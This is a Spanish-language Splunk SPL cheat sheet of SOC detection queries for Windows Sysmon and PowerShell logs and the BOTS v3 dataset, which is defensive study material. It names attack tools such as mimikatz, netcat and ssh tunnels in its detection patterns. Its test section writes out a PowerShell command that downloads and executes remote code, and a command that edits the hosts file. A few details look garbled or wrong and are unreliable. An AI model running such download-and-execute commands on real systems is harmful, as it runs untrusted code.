Sammi Notes

Properties2
tagssplunk, spl, guia, reference, windows, botsv3, soc
aliasesGuia SPL, Super Guia SPL, SPL Cheatsheet

Super-Guia SPL para Ciberseguridad

134 queries SPL probadas y funcionales para Splunk Enterprise 9.x. Cubre monitoreo de sistema Windows real (Sysmon + Security + PowerShell + Defender + RDP) y Análisis de seguridad con el dataset BOTS v3.

Setup: Windows 11 Education x64 | Splunk UF + Sysmon | Puerto Web: 9999 | Puerto UF: 9997

Tabla de Contenidos

  1. Sistema Windows — Monitoreo Real
  2. Dataset BOTS v3 — Prácticas de Análisis
  3. Referencia Rápida SPL

Parte 1: Sistema Windows

Indices: win_security, win_sysmon, win_powershell, win_tasks, win_wmi, win_defender, win_rdp, win_perfmon, win_fim

1. Estado y salud del pipeline

1.1 Volumen por índice (¿llega todo?)

| tstats count where index=win_* OR index=_internal by index
| sort -count

1.2 Último evento por fuente

| tstats latest(_time) as last_event where index=win_* by index,sourcetype
| convert ctime(last_event) timeformat="%Y-%m-%d %H:%M:%S"
| sort -last_event

1.3 Forwarder conectado al indexer

index=_internal source=*metrics.log group=tcpout
| stats count latest(_time) by host,fwdip

1.4 Eventos Sysmon llegando (EID esperados)

index=win_sysmon
| stats count by EventID
| sort -count

Deberías ver EIDs: 1 (ProcessCreate), 3 (NetworkConnect), 7 (ImageLoaded), 8 (RemoteThread), 11 (FileCreate), 22 (DNS), 23 (FileDelete).

⚠ Si no ves 22 (DNS Query), la config de Sysmon no tiene DnsQuery rule. Despliega SwiftOnSecurity/Olaf Hartong (ver Anexo).

2. Autenticación y sesiones

2.1 Logins exitosos

index=win_security EventCode=4624
| stats count by _time,Account_Name,Logon_Type,IpAddress,WorkstationName
| sort -_time

Logon_Type cheatsheet: 2=Interactive, 3=Network, 4=Batch, 5=Service, 7=Unlock, 8=NetworkCleartext, 9=NewCredentials, 10=RemoteInteractive(RDP), 11=CachedInteractive.

2.2 Logins fallidos (fuerza bruta)

index=win_security EventCode=4625
| bucket _time span=5m
| stats count as fails, dc(Account_Name) as unique_users, values(Account_Name) as attempted_users
  by _time,IpAddress
| where fails > 10
| sort -fails

2.3 Logins con cuenta de privilege (Special Logon = EID 4672)

index=win_security EventCode=4672
| table _time Account_Name Privileges
| sort -_time

2.4 Logon interactivo fuera de horario laboral (22:00 - 06:00)

index=win_security EventCode=4624 Logon_Type=2 OR Logon_Type=10
| eval hour=strftime(_time,"%H")
| where hour >= 22 OR hour < 6
| table _time Account_Name Logon_Type WorkstationName IpAddress
| sort -_time

2.5 Sesiones RDP inbound a este PC

index=win_rdp (EventCode=21 OR EventCode=22 OR EventCode=25)
| table _time User SessionID SourceNetworkAddress
| sort -_time

Combinar con Sysmon EID 10 (ProcessAccess a lsass.exe) para detectar credential dumping tras RDP.

3. Procesos y ejecución de binarios

3.1 Top procesos creados (Sysmon EID 1)

index=win_sysmon EventID=1
| stats count by Image
| sort -count
| head 20

3.2 Procesos con padres sospechosos (patrones de attack chain)

index=win_sysmon EventID=1
| search (
    ParentImage="*WINWORD.exe" OR
    ParentImage="*EXCEL.EXE" OR
    ParentImage="*OUTLOOK.EXE" OR
    ParentImage="*acrord32.exe" OR
    ParentImage="*mshta.exe" OR
    ParentImage="*wscript.exe" OR
    ParentImage="*cscript.exe"
  )
  AND (
    Image="*powershell.exe" OR
    Image="*cmd.exe" OR
    Image="*wscript.exe" OR
    Image="*cscript.exe" OR
    Image="*mshta.exe" OR
    Image="*rundll32.exe" OR
    Image="*regsvr32.exe" OR
    Image="*certutil.exe" OR
    Image="*bitsadmin.exe"
  )
| table _time Image ParentImage CommandLine ParentCommandLine Hashes
| sort -_time

3.3 PowerShell ejecutado (4688 con CommandLine)

index=win_security EventCode=4688 CommandLine="*powershell*"
| table _time NewProcessName CommandLine CreatorProcessName
| sort -_time

3.4 Command lines con signos de obfuscación/encoded

index=win_sysmon EventID=1 (CommandLine="*powershell*" OR CommandLine="*cmd.exe*")
| search (
    CommandLine="*-EncodedCommand*" OR
    CommandLine="*-e *bash*" OR
    CommandLine="*FromBase64String*" OR
    CommandLine="*IEX*" OR
    CommandLine="*DownloadString*" OR
    CommandLine="*Invoke-Expression*" OR
    CommandLine="*~*" OR
    CommandLine="*\\\\*\\\\*\\\\*"
  )
| table _time Image CommandLine ParentImage
| sort -_time

3.5 LOLBins (living-off-the-land binaries)

index=win_sysmon EventID=1
| search (
    Image="*mshta.exe" OR
    Image="*regsvr32.exe" OR
    Image="*rundll32.exe" OR
    Image="*certutil.exe" OR
    Image="*bitsadmin.exe" OR
    Image="*msiexec.exe" OR
    Image="*forfiles.exe" OR
    Image="*scriptrunner.exe" OR
    Image="*syncappvpublishingserver.exe"
  )
| table _time Image CommandLine ParentImage
| sort -_time

3.6 Ejecución desde carpetas inusuales (no Program Files / System32)

index=win_sysmon EventID=1
| eval suspicious_dir=if(match(Image,"(?i)(C:\\\\Users\\\\.*\\\\AppData\\\\Local\\\\Temp|C:\\\\Users\\\\.*\\\\Downloads|C:\\\\Windows\\\\Temp|\\\\\\\\\\\\\\\\.*\\\\)"),1,0)
| where suspicious_dir=1
| table _time Image CommandLine ParentImage CurrentDirectory
| sort _time

3.7 Hashes conocidos maliciosos (lista manual o threat intel)

index=win_sysmon EventID=1
| search (
    Hashes="*SHA1=BADHASH123*" OR
    Hashes="*SHA256=ANOTHERBADHASH*"
  )
| table _time Image CommandLine Hashes

Recomendado integrar Threat Intel: instalar app Splunk Threat Intelligence y usar lookup threat_intel_lookup.

4. PowerShell Malicioso

4.1 ScriptBlock Logging 4104 con patrones peligrosos

index=win_powershell EventCode=4104
| search (
    ScriptBlockText="*IEX*" OR
    ScriptBlockText="*Invoke-Expression*" OR
    ScriptBlockText="*DownloadString*" OR
    ScriptBlockText="*DownloadFile*" OR
    ScriptBlockText="*FromBase64String*" OR
    ScriptBlockText="*-EncodedCommand*" OR
    ScriptBlockText="*System.Reflection.Assembly*" OR
    ScriptBlockText="*Invoke-Mimikatz*" OR
    ScriptBlockText="*PowerSploit*" OR
    ScriptBlockText="*Invoke-Shellcode*" OR
    ScriptBlockText="*Invoke-WMICommand*"
  )
| table _time ScriptBlockText Path
| sort -_time

4.2 PowerShell con ExecutionPolicy bypass

index=win_powershell EventCode=4104
| search ScriptBlockText="*-ExecutionPolicy Bypass*" OR ScriptBlockText="*-ExecutionPolicy Unrestricted*"
| table _time ScriptBlockText
| sort -_time

4.3 PowerShell con AMSI bypass attempt (común in malware moderno)

index=win_powershell EventCode=4104
| search ScriptBlockText="*amsi*" OR ScriptBlockText="*AMSIInitFailed*" OR ScriptBlockText="*System.Management.Automation.AmsiUtils*"
| table _time ScriptBlockText

4.4 Web request desde PowerShell (descarga de payload)

index=win_powershell EventCode=4104
| search (
    ScriptBlockText="*Net.WebClient*" OR
    ScriptBlockText="*Invoke-WebRequest*" OR
    ScriptBlockText="*iwr *" OR
    ScriptBlockText="*curl *" OR
    ScriptBlockText="*wget *"
  )
| table _time ScriptBlockText
| sort -_time

4.5 PowerShell llamado por proceso no esperado (no winlogon, no explorer)

index=win_sysmon EventID=1 Image="*powershell.exe"
| where NOT match(ParentImage,"(?i)(explorer.exe|winlogon.exe|LogonUI.exe|MpCmdRun.exe)")
| table _time ParentImage CommandLine Hashes
| sort -_time

5. Red y conexiones

5.1 Top destinos IP:puerto

index=win_sysmon EventID=3
| stats count by DestinationIp,DestinationPort,Image
| sort -count
| head 30

5.2 Conexiones a puertos no estándar (no 80/443/53/123)

index=win_sysmon EventID=3
| where NOT in(DestinationPort,"80","443","53","123","0")
| stats count by DestinationIp,DestinationPort,Image
| sort -count

5.3 Conexiones a IPs sin DNS (posible C2 hardcoded)

index=win_sysmon EventID=3
| join DestinationIp [
    search index=win_sysmon EventID=22
    | stats dc(QueryName) by DestinationIp
    | where dc(QueryName)=0
  ]
| table _time Image DestinationIp DestinationPort

5.4 Conexión desde proceso inusual (no browser/system)

index=win_sysmon EventID=3
| where NOT match(Image,"(?i)(chrome.exe|msedge.exe|firefox.exe|svchost.exe|lsass.exe|System|explorer.exe|SearchProtocolHost.exe)")
| stats count by Image,DestinationIp,DestinationPort
| sort -count
| head 50

5.5 Beaconing (conexiones regulares a misma IP:puerto)

index=win_sysmon EventID=3
| bucket _time span=1m
| stats count as hits by DestinationIp,DestinationPort,_time
| stats avg(hits) as avg_hits, stdev(hits) as std_hits, count as samples
  by DestinationIp,DestinationPort
| where samples > 10 AND std_hits < 1.5
| sort -samples

6. Actividad DNS

6.1 Top dominios resueltos

index=win_sysmon EventID=22
| stats count by QueryName
| sort -count
| head 30

6.2 Dominios con TLD sospechosos

index=win_sysmon EventID=22
| eval tld=mvindex(split(QueryName,"."),-1)
| where tld IN ("ru","cn","kp","ir","xyz","top","click","country","bid","stream","gq","ml","cf","tk")
| stats count by QueryName,tld
| sort -count

6.3 Long subdomain (DGA-like)

index=win_sysmon EventID=22
| eval label_len=if(len(QueryName)>30,1,0)
| where label_len=1
| eval tld=mvindex(split(QueryName,"."),-1)
| table _time QueryName tld
| sort -_time

6.4 Consultas por procesos fuera del navegador

index=win_sysmon EventID=22
| where NOT match(Image,"(?i)(chrome.exe|msedge.exe|firefox.exe|svchost.exe)")
| stats dc(QueryName) as unique_qdns, values(QueryName) as qdns
  by Image
| sort -unique_qdns

7. Persistencia

7.1 Nuevas tareas programadas (TaskScheduler)

index=win_tasks (EventCode=200 OR EventCode=201)
| table _time ActionName TaskName User
| sort -_time

7.2 Registro de startup (Run/RunOnce) — FIM monitor

index=win_sysmon EventID=12 OR EventID=13 OR EventID=14
| search EventType="SetValue" TargetObject="*CurrentVersion\\\\Run*" OR TargetObject="*CurrentVersion\\\\RunOnce*"
| table _time EventType TargetObject Details Image
| sort -_time

7.3 WMI Event Subscription (Filter/Consumer/ToFilter)

index=win_wmi EventCode=1295 OR EventCode=1296 OR EventCode=1297
| table _time User ClassName

O con Sysmon EID 19/20/21:

index=win_sysmon (EventID=19 OR EventID=20 OR EventID=21)
| table _time EventType Operation Name

7.4 Servicios creados/modificados

index=win_sysmon EventID=12 OR EventID=13
| search (TargetObject="*CurrentVersion\\\\Services\\\\*" OR TargetObject="*SYSTEM\\\\CurrentControlSet\\\\Services\\\\*")
| where EventType="SetValue"
| table _time TargetObject Details

7.5 Image File Execution Options (Debugger hijack)

index=win_sysmon (EventID=12 OR EventID=13)
| search TargetObject="*Image File Execution Options*" Debugger=*
| table _time TargetObject Details

8. Credential access y privilege escalation

8.1 Acceso a lsass.exe (credential dumping)

index=win_sysmon EventID=10 TargetImage="*lsass.exe"
| stats count by SourceImage GrantedAccess
| sort -count

GrantsKnown:

  • 0x1410 (VM_READ | VM_WRITE | VM_OPERATION | QUERY_INFORMATION) — mimikatz signature.
  • 0x1010 — sharper careful minimization.

8.2 Procesos con granted access sospechoso a proceso privilegio

index=win_sysmon EventID=10
| where NOT match(SourceImage,"(?i)(svchost.exe|wininit.exe|csrss.exe|services.exe|taskhostw.exe|spoolsv.exe|MsMpEng.exe)")
| table _time SourceImage TargetImage GrantedAccess
| sort -_time

8.3 Mimikatz signature patterns (comando)

index=win_sysmon EventID=1 Image="*sekurlsa*" OR CommandLine="*sekurlsa*" OR CommandLine="*lsadump*"

9. Defensa y evasión

9.1 Windows Defender detections

index=win_defender (EventCode=1116 OR EventCode=1117)
| table _time ThreatName Path ProcessName InitialDetectionDateTime
| sort -_time

9.2 Defender deshabilitado o modificado

index=win_sysmon (EventID=12 OR EventID=13)
| search TargetObject="*Windows Defender*"
| table _time TargetObject Details
| sort -_time

Sospecha: DisableAntiSpyware=1, DisableRealtimeMonitoring=1, TamperProtection=0.

9.3 Event logcleared (cobalt strike / cover tracks)

index=win_security EventCode=1102
| table _time Account_Name ComputerName
index=win_sysmon EventID=4
| table _time Image

9.4 Disabling/escalation de firewall

index=win_sysmon (EventID=12 OR EventID=13)
| search TargetObject="*EnableFirewall*" Details="*0*"
| table _time TargetObject Details Image

10. Files y filesystem

10.1 Archivos creados en carpeta temporal con extensión ejecutable

index=win_sysmon EventID=11
| search TargetFilename="*.exe" OR TargetFilename="*.dll" OR TargetFilename="*.ps1" OR TargetFilename="*.bat"
| search TargetFilename="*\\\\Temp\\\\*" OR TargetFilename="*\\\\AppData\\\\Local\\\\Temp\\\\*"
| table _time TargetFilename Image
| sort -_time

10.2 Cambios en archivos críticos (FIM)

index=win_fim
| stats count by source_host,sourcetype,computer_name
| sort -count

Sospecha: cambios en C:\Windows\System32\drivers\etc\hosts DNS hijacking.

10.3 Creación de DLL side-loading (mismo nombre que binario legit en ruta no estándar)

index=win_sysmon EventID=7
| where NOT match(ImageLoaded,"(?i)(C:\\\\Windows\\\\System32|C:\\\\Windows\\\\SysWOW64|C:\\\\Program Files|C:\\\\Program Files \(x86\))")
| stats count by Image,ImageLoaded
| sort -count
| head 30

11. Lateral movement (en este PC como víctima)

11.1 RDP inbound y proceso en session

index=win_rdp EventCode=21
| join user [
    search index=win_sysmon EventID=1
    | stats count by User,Image
  ]
| table _time user Image SourceNetworkAddress

11.2 WMI inbound (EID 4624 Logon_Type=3 + proceso wmiprvse.exe padre)

index=win_security EventCode=4624 Logon_Type=3
| join Account_Name [
    search index=win_sysmon EventID=1 ParentImage="*WmiPrvSE.exe"
    | stats count by User,Image,CommandLine
  ]
| table _time Account_Name Source_Network_Address Image CommandLine

11.3 PsExec / SvcExec signatures

index=win_sysmon EventID=1
| search (Image="*PSEXESVC.exe" OR CommandLine="*PSEXESVC*" OR CommandLine="*\\\\\\\\.*\\\\ADMIN\\\\*")
| table _time Image CommandLine ParentImage

11.4 SMB admin share mounts (C)

index=win_security EventCode=5140
| search ShareName="\\\\ADMIN\\\\$" OR ShareName="\\\\C\\\\$"
| table _time Account_Name IpAddress ShareName
| sort -_time

12. Trend y baseline (anomaly detection)

12.1 Procesos nuevos del día (que no existían antes)

index=win_sysmon EventID=1 earliest=-1d@d latest=now
| stats count by Image
| lookup previously_seen_processes Image OUTPUT first_seen
| where isnull(first_seen)
| table Image count
| sort -count

Sin lookup alternativo: comparar listado con last 7 days < last 7 days@7d:

index=win_sysmon EventID=1 earliest=-1d latest=now
| stats count by Image
| append [
    search index=win_sysmon EventID=1 earliest=-30d latest=-1d
    | stats count by Image | eval seen_before=1
  ]
| stats values(seen_before) as old, sum(count) as total by Image
| where isnull(old) OR old!=1
| sort -total

12.2 Top users por volumen de proceso creado

index=win_sysmon EventID=1
| stats count by User
| sort -count
| head 10

12.3 Variación de baseline de tráfico por hora

index=win_sysmon EventID=3
| bucket _time span=1h
| stats count by _time,Image
| eventstats avg(count) as avg_by_proc by Image
| eval deviation=abs(count-avg_by_proc)
| where deviation > 3*avg_by_proc
| sort -deviation

13. Performance y health del host

13.1 Pico sostenido de CPU (potencial cryptominer)

index=win_perfmon counter="% Processor Time"
| where load > 80
| bucket _time span=5m
| stats avg(load) as avg_cpu by _time
| where avg_cpu > 80
| sort -_time

13.2 Relleno rápido de disco (potencial ransomware)

index=win_perfmon counter="% Free Space"
| bucket _time span=10m
| stats latest(value) as cur, earliest(value) as prev by _time,instance
| eval delta = (cur - prev)
| where delta < -5
| sort delta

13.3 Memoria committed subiendo

index=win_perfmon counter="Committed Bytes"
| timechart avg(value) by instance

14. Cuadro de mando SOC (sugerido)

Crear dashboards en Splunk Web: Search & Reporting → Dashboards → New.

Panels recomendados:

  1. Authentication Overview — queries 2.1, 2.2, 2.3 (última 1h).
  2. Suspicious Processes — queries 3.2, 3.4, 3.5, 3.6 (última 24h).
  3. Network Egress — queries 5.1, 5.4, 5.5.
  4. DNS Anomalies — queries 6.2, 6.3, 6.4.
  5. Persistence Hunters — queries 7.1, 7.2, 7.3, 7.5.
  6. Credential Access — 8.1, 8.2.
  7. Defender Evasion — 9.1, 9.2, 9.3, 9.4.
  8. Performance Anomalies — 13.1, 13.2.
  9. Pipeline Health — queries 1.1, 1.2, 1.4.

Generación automática: Save As → Dashboard Panel desde cada búsqueda.

15. Alertas recomendadas (Saved Searches con trigger)

NombreCronSPL coreAcción
Brute force logincada 5 minquery 2.2Email + webhook SIEM
PowerShell encodedcada 10 minquery 4.1Email
lsass accesscada 10 minquery 8.1Email (high priority)
Defender tamperingcada 30 minquery 9.2 — Details="*Disable*"Email (critical)
Logs clearedrealtimequery 9.3 EID=1102Email + SOAR trigger
Suspicious child of Officecada 10 minquery 3.2Email
DNS anomalous TLDcada 30 minquery 6.2Slack webhook

Configuración: desde la SPL → Save As → Alert → trigger → action list.

16. SCHEMA / Cheat sheet

Salt output field (post-TA parser)

SourceField convenciónEjemplo
WinEventLog SecurityEventCode, Account_Name, Logon_Type, Source_Network_AddressE.4624
WinEventLog SysmonEventID, Image, CommandLine, ParentImage, Hashes, DestinationIpE.1
WinEventLog PowerShellEventCode, ScriptBlockText, PathE.4104
WinEventLog TaskSchedulerEventCode, TaskName, ActionNameE.200/201
WinEventLog DefenderEventCode, Threat Name, Path, Process NameE.1116/1117
Perfmoncounter, instance, valuesee query 13.x

Notas: Cuando Splunk TA está instalado, los fields pasan a CIM (user, dest, src, process, signature, action etc.). Las queries anteriores usan fields “raw” del WinEventLog XML — pedirán el TA.

Time modifiers útiles

  • earliest=-1h@h latest=now → última hora truncada.
  • earliest=-7d@d latest=now
  • earliest=@d latest=now → desde medianoche.

Comandos SPL imprescindibles

  • tstats (sobre metadata) — acelerado con CIM.
  • stats, eventstats, streamstats — agregación.
  • lookup — enriquecimiento con threat-intel.
  • join (sparingly — costoso).
  • append — combinar búsquedas.
  • map — iteración sobre rows.
  • cluster — grouping.
  • regex, where match() — regex en fields.
  • lookup + inputlookup — tablas estáticas/KV Store.

17. Tests funcionales para validar queries en este PC

Genera eventos de prueba y observa llegan a Splunk:

Test PowerShell ScriptBlock

powershell -Command "iex (New-Object Net.WebClient).DownloadString('http://example.com/test')"

Búsqueda:

index=win_powershell EventCode=4104 ScriptBlockText="*DownloadString*"

Test PsExec parent (simula office->powershell)

No simulemos malware real, pero crea:

notepad.exe & powershell -Command "Write-Host test-soc-query"

Luego:

index=win_sysmon EventID=1 Image="*powershell.exe" CommandLine="*test-soc-query*"

Test proceso en carpeta inusual

mkdir C:\Users\Sammi\Downloads\test_soc 2>$null
copy $env:WINDIR\System32\notepad.exe C:\Users\Sammi\Downloads\test_soc\notepad.exe
C:\Users\Sammi\Downloads\test_soc\notepad.exe

Búsqueda:

index=win_sysmon EventID=1 Image="*Downloads\\\\test_soc\\\\notepad.exe"

Test FIM hosts

Add-Content C:\Windows\System32\drivers\etc\hosts "0.0.0.0 malicious.example.com"

Búsqueda:

index=win_fim source_host="*hosts*" | table _time _raw | sort -_time

Test DNS query (wait + ver EID 22)

nslookup spoofed.example.xyz

Búsqueda:

index=win_sysmon EventID=22 QueryName="spoofed.example.xyz"

Próximos pasos para nivel avanzado

  • Instalar Splunk Security Essentials (app con 1000+ detecciones listas y framework CIM-aligned)
  • Instalar Splunk Common Information Model (CIM) y habilitar acceleration para Endpoint y Authentication
  • Importar ES Content (SOC Optix) si tienes Enterprise Security
  • Integrar VirusTotal/Ti lookups via lookup + script
  • Desplegar config de Sysmon actualizada (SwiftOnSecurity u Olaf Hartong sysmon-modular)
  • Configurar alertas de las queries de la sección 15
  • Crear dashboards SOC por Sections 14
  • Para detección de beaconing avanzada usar el $Range Técnica App si precisa

Parte 2: Dataset BOTS v3

Contexto: SOC Analyst en “Banco Nacional”. Dataset BOTSv3 representa logs reales de un incidente de seguridad (Agosto 2018). Nota: Este dataset contiene logs de red (stream), Linux (syslog, linux_secure, osquery), AWS (cloudtrail, cloudwatch), y firewall Cisco ASA. No contiene Windows Event Log. La autenticación se monitoriza vía SSH en servidores Linux.

FASE 1: Conocimiento del entorno

1.1 ¿Qué sistemas generan logs? (Sourcetypes)

index=botsv3 | stats count by sourcetype | sort -count

1.2 ¿Qué fuentes de datos? (Sources)

index=botsv3 | stats count by source | sort -count

1.3 ¿Qué hosts reportan?

index=botsv3 | stats count by host | sort -count

1.4 Volumen general del tráfico

index=botsv3 | timechart span=1d count

1.5 Cantidad de sourcetypes distintos

index=botsv3 | stats dc(sourcetype) as total_sourcetypes

1.6 Volumen por sourcetype (top 10)

index=botsv3 | top limit=10 sourcetype

1.7 Tabla sourcetype + host

index=botsv3 | stats count by sourcetype, host | sort -count

FASE 2: Autenticación y accesos (SSH Linux)

2.1 Logins SSH exitosos

index=botsv3 sourcetype=linux_secure "Accepted password" | stats count by src_ip, user, host

2.2 Logins SSH fallidos (brute force)

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip, user | where count > 5

2.3 Intentos SSH fallidos por IP (top atacantes)

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip | sort -count | head 5

2.4 Usuarios atacados por SSH

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by user, src_ip | sort -count

2.5 Logins SSH exitosos (detalle)

index=botsv3 sourcetype=linux_secure "Accepted password" | stats count by user, src_ip, host

2.6 Conexiones SSH fuera de horario laboral

index=botsv3 sourcetype=linux_secure "Accepted password" | eval hour=strftime(_time, "%H") | where hour<8 OR hour>18 | stats count by user, src_ip, hour

2.7 Usuarios con sudo (privilegios elevados)

index=botsv3 sourcetype=linux_secure "sudo" | stats count by user, host

2.8 Autenticación con clave pública (movimiento lateral)

index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host

FASE 3: Análisis de red

3.1 Top 20 IPs con más tráfico DNS saliente

index=botsv3 sourcetype=stream:dns | top limit=20 src_ip

3.2 DNS queries más frecuentes

index=botsv3 sourcetype=stream:dns | top limit=50 query

3.3 Top 20 dominios consultados

index=botsv3 sourcetype=stream:dns | top limit=20 query

3.4 Tráfico hacia puertos inusuales

index=botsv3 sourcetype=stream:tcp | top limit=20 dest_port

3.5 Trafico a Memcached (puerto 11211) — posible amplificación

index=botsv3 dest_port=11211 | stats count by src_ip, dest_ip | sort -count

3.6 Volumen de amplificación Memcached

index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio

3.7 Timeline del ataque Memcached

index=botsv3 dest_port=11211 | timechart span=5m count

3.8 Firewall — tráfico bloqueado

index=botsv3 sourcetype=cisco:asa | top limit=20 src_ip

3.9 Firewall — conexiones permitidas vs bloqueadas

index=botsv3 sourcetype=cisco:asa | stats count by action

3.10 Firewall — IPs externas a internas

index=botsv3 sourcetype=cisco:asa | stats count by src_ip, dest_ip | sort -count | head 20

FASE 4: Análisis de procesos (endpoint)

4.1 Procesos más activos en Windows (Perfmon)

index=botsv3 sourcetype=PerfmonMk:Process | top limit=20 process_name

4.2 Monitoreo de hosts Windows

index=botsv3 sourcetype=WinHostMon | stats count by host

4.3 Procesos creados (Sysmon)

index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 | table _time, host, process_name, parent_process_name

4.4 Conexiones de red desde procesos (Sysmon)

index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 | table _time, host, process_name, dest_ip, dest_port

4.5 Procesos en Linux (osquery)

index=botsv3 sourcetype=osquery:results name=processes | stats count by host, name | sort -count | head 20

4.6 Puertos en escucha en Linux (osquery)

index=botsv3 sourcetype=osquery:results name=listening_ports | stats count by host, port, address

4.7 Paquetes instalados en Linux (dpkg)

index=botsv3 sourcetype=dpkg | top limit=20 name

FASE 5: Threat hunting (caza de amenazas)

5.1 Buscar descargas (wget/curl)

index=botsv3 sourcetype=bash_history "wget" OR "curl"

5.2 Scripts ejecutados manualmente

index=botsv3 sourcetype=bash_history "chmod +x" OR "./" OR "sh " OR "bash "

5.3 Movimientos laterales (SSH entre servidores)

index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host

5.4 Exfiltración de datos vía DNS

index=botsv3 sourcetype=stream:dns | stats count by query, src_ip | sort -count | head 30

5.5 Cambios en archivos de configuración (persistencia)

index=botsv3 sourcetype=bash_history "crontab" OR "/etc/" OR "systemctl"

5.6 Comandos de red sospechosos (netcat, nmap, port forwarding)

index=botsv3 sourcetype=bash_history "nc " OR "ncat" OR "netcat" OR "nmap" OR "ssh -R" OR "ssh -L"

5.7 Búsqueda de IOCs en texto libre

index=botsv3 "malware" OR "ransomware" OR "exploit" OR "payload" OR "backdoor"

FASE 6: Investigación de incidente

6.1 Timeline de un host específico

index=botsv3 host="gacrux.i-06fea586f3d3c8ce8" | timechart span=1h count by sourcetype

6.2 Eventos alrededor de un momento específico

index=botsv3 earliest="08/20/2018:15:00:00" latest="08/20/2018:16:00:00" | stats count by sourcetype

6.3 Tráfico de una IP específica

index=botsv3 src_ip="13.125.33.130" | stats count by sourcetype, dest_ip | sort -count

6.4 Buscar en texto libre (eventos clave del ataque)

index=botsv3 "injected" OR "STORED" OR "ERROR"

6.5 Reconstrucción de incidente (víctima Memcached)

index=botsv3 dest_ip="172.16.0.178" | stats count by sourcetype, src_ip | sort -count

FASE 7: Dashboards y reportes

7.1 Dashboard de autenticación (SSH)

index=botsv3 sourcetype=linux_secure "Failed password" | timechart span=1h count by src_ip

7.2 Dashboard de red (DNS)

index=botsv3 sourcetype=stream:dns | timechart span=1h count by query_type

7.3 Dashboard de procesos (Perfmon Windows)

index=botsv3 sourcetype=PerfmonMk:Process | top limit=10 process_name

7.4 Dashboard de tráfico bloqueado (Firewall)

index=botsv3 sourcetype=cisco:asa | timechart span=1h count by action

FASE 8: AWS CloudTrail y CloudWatch

8.1 API calls de AWS (CloudTrail)

index=botsv3 sourcetype=aws:cloudtrail | top limit=20 eventName

8.2 CloudWatch logs de VPC Flow

index=botsv3 sourcetype=aws:cloudwatchlogs | top limit=10 logStream

FASE 9: DNS avanzado

9.1 Dominios sospechosos (mineros, cripto)

index=botsv3 sourcetype=stream:dns query=*bit* OR query=*coin* OR query=*pool* OR query=*miner* | stats count by query

9.2 DNS queries por tipo

index=botsv3 sourcetype=stream:dns | top limit=20 qtype

FASE 10: Ejercicios prácticos completos

10.1 Detectar SSH brute force (count > 10)

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip | where count > 10

10.2 Encontrar IP atacante de Memcached (ratio amplificación)

index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio

10.3 Timeline de víctima Memcached

index=botsv3 dest_ip="172.16.0.178" | timechart span=5m count by sourcetype

10.4 Total de bytes exfiltrados (Memcached)

index=botsv3 dest_port=11211 | stats sum(bytes_in) as total_in, sum(bytes_out) as total_out | eval ratio=round(total_out/total_in, 0)

10.5 Resumen por hora de toda la red

index=botsv3 | timechart span=1h count

Referencia Rápida SPL

Comandos SPL más usados

ComandoFunciónEjemplo
stats countContar eventosstats count by src_ip
stats dc()Contar valores únicosstats dc(host)
stats values()Listar valores únicosstats values(sourcetype)
stats sum()Sumar valores numéricosstats sum(bytes)
topTop N ordenadotop limit=10 sourcetype
timechartGráfico temporaltimechart span=1h count
evalCrear campo calculadoeval ratio=out/in
whereFiltro condicionalwhere count > 10
searchFiltro de textosearch "Failed password"
tableTabla personalizadatable _time, src_ip, dest_ip
sortOrdenarsort -count
renameRenombrar camporename count as total
dedupEliminar duplicadosdedup src_ip

Búsquedas fundamentales

Buscar todos los eventos de un índice

index=botsv3 earliest=0

Buscar por texto específico

index=botsv3 "malware"

Buscar por campo

index=botsv3 src_ip="192.168.1.100"

Top 10 fuentes

index=botsv3 | top limit=10 source

Eventos por hora

index=botsv3 | timechart span=1h count

Contar por campo

index=botsv3 | stats count by src_ip

Time modifiers útiles

ModificadorSignificado
earliest=-1h@hÚltima hora truncada
earliest=-7d@dÚltimos 7 días
earliest=@dDesde medianoche
earliest=-24hÚltimas 24 horas

Sourcetypes de BOTSv3 (referencia SOC)

SourcetypeContiene
syslogLogs genéricos de Linux
linux_secureAutenticación SSH (logins, sudo, fallos)
stream:dnsConsultas DNS capturadas en red
stream:tcpTráfico TCP capturado en red
stream:udpTráfico UDP capturado en red
stream:httpTráfico HTTP capturado en red
stream:ipTráfico IP genérico
cisco:asaLogs de firewall Cisco ASA
aws:cloudtrailAPI calls de AWS
aws:cloudwatchlogsLogs de servicios AWS (VPC Flow, Lambda)
PerfmonMk:ProcessRendimiento de procesos en Windows
WinHostMonMonitoreo de hosts Windows
osquery:resultsResultados de osquery (procesos, puertos)
bash_historyHistorial de comandos bash en Linux
XmlWinEventLog:Microsoft-Windows-Sysmon/OperationalSysmon (procesos, conexiones)

Puertos sospechosos

PuertoServicio
4444Metasploit default
11211Memcached (amplificación DDoS)
31337Backdoor (Back Orifice)
6666IRC / Backdoor
1337Skulldug
12345NetBus

134 queries funcionales (68 Windows + 66 BOTS v3)

Vista Gráfica